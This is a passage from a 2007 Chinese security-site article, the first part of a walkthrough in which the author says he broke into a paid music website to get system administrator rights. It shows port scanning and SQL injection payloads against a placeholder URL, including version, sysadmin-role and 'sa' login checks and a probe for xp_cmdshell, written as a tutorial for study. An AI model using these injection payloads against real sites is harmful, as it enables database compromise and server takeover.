科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网网络频道利用纯脚本技术获得系统权限详解(1)

利用纯脚本技术获得系统权限详解(1)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

目前网上很流行SQL INJECTION 漏洞,也就是我们通常所说的SQL注入漏洞,我们利用这类漏洞可以跨表、跨库查询数据库信息,以及通过论坛来上传文件从而得到主机WebShell(这些都是一些很通常的手法,黑防原来也介绍得比较详细)。

作者:论坛整理 来源:zdnet网络安全 2007年12月22日

关键字: 攻击防范 系统安全 安全技术

  • 评论
  • 分享微博
  • 分享邮件
目前网上很流行SQL INJECTION 漏洞,也就是我们通常所说的SQL注入漏洞,我们利用这类漏洞可以跨表、跨库查询数据库信息,以及通过论坛来上传文件从而得到主机WebShell(这些都是一些很通常的手法,黑防原来也介绍得比较详细)。

前段时间我对一大型音乐收费网站进行安全测试,结果我利用纯脚本技术,拿到了系统管理员权限。所以,今天我就为大家介绍一下全部经过和我的具体思路分析。



一.踩点

踩点,是对一个服务器进行安全测试的首要工作。我们对服务器先进行端口扫描。我拿出了朋友写的一款非常不错的扫描程序,速度相当快,可以同时开2000个线程!(wtf:GOOD!)半支烟功夫,端口1-65535就扫完了。

扫描的开放端口如下:

21,80,1433,3389

再次扫描得到的结果相同,几乎能肯定是这些了。冲击波过后,网络上的服务器安全了许多,利用系统漏洞入侵也变得有难度了。先来分析了一下:我把目标集中在21和1433端口。现在只有看看运气,看是否能扫出个弱口令(wtf:呵呵,想得倒挺美!)——真是倒霉,我很久都没有扫到存在弱口今的机子了,今天也一样,什么都没扫出来。看来,我只有从网站脚本上寻找出路了。



二.对网站进行全方面的探索

开了1433端口,即SQLSERVER服务,一般网站都是ASP+MSSQL结构来架设的,并且ASP脚本的注入漏洞比其他脚本漏洞好找,漏洞存在的机率也相对要大得多。一般情况下,我在提交的参数后加上单引号提交,如果参数没有过滤,IE一般都会返回错误信息。

我很快找到了一个没有经过任何过滤的参数。

提交:http://www.something.com/script.asp?id=2’

IE返回:

Microsoft OLE DB Provider for ODBC Drivers 错误 ’80040e14’ 

[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 ’’ 之前有 未闭合的引号。 

提交:http://www.something.com/script.asp?id=2 and 1=1

IE返回正常记录。

提交:http://www.something.com/script.asp?id=2 and 1=2

IE没有返回记录。

好了,这样就确定存在注入漏洞了,下面我们来利用这个漏洞拿到服务器和数据库的一些相关信息。譬如:想看服务器打的补丁情况,我们提交:

http://www.something.com/script.asp?id=2 and 1=(select @@VERSION)

出错了,呵呵,IE给我们返回错误信息
看来服务器打了SP4补丁,“据说”打了SP4后,也有对80的溢出程序和对MSSQL SP3的溢出程序。不过这些属于“绝对机密”,估计除了wtf那小子有,很少人能搞到,反正我是没有的,那天敲诈他去!现在我们继续!

这台服务器从系统方面对于我们来讲,是比较安全的,所以我还是接着从脚本方面着手吧。再来看看他的数据库连接账号的权限,提交:

http://www.something.com/script.asp?id=2 and 1=(SELECT IS_SRVROLEMEMBER(’sysadmin’))

返回正常,这证明当前连接的账号是服务器角色sysadmin权限。

wtf:IS_SRVROLEMEMBER(’role’ [,’login’])函数用于判断当前的用户登录是否是指定的服务器角色的成员。其中,role为被检查的服务器角色的名称。而login是可选的,如果未指定,那么使用当前用户的登陆账号。如果login是role的成员,则返回1,不是则返回0,如果role或login无效,则返回NULL。

我差点没把嘴里的一口茶喷到电脑屏幕上。当前连接账号的服务器角色居然是sysadmin权限!
哈哈!看来连接账号多半是采用SA账号连接的了。

提交:

http://www.something.com/script.asp?id=2 and ’sa’=(SELECT System_user)

用来查看连接账号是不是用sa 连接的,IE再一次返回正常。这证明了连接账号真的是SA,看来权限是至高无上的了。

wtf:当使用应用程序角色时,执行 SELECT USER 将返回当前使用的应用程序角色的名称。如果要获得已登录用户的身份,则使用Transact-SQL 语句:SELECT SYSTEM_USER。

到这里,可能很多人就想到了利用xp_cmdshell扩展存储过程来加系统账号,然后再使用终端连接服务器。这是非常不错的想法!我也是很多人中的一员!我们来试试看行不行吧!

三.利用MSSQL存储过程,得到WebShell

下面,让我们看看xp_cmdshell是否被管理员删除了!提交:

http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = ’X’ AND name = ’xp_cmdshell’)

IE 返回的信息如下:

ADODB.Field 错误 ’800a0bcd’

BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。 
    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章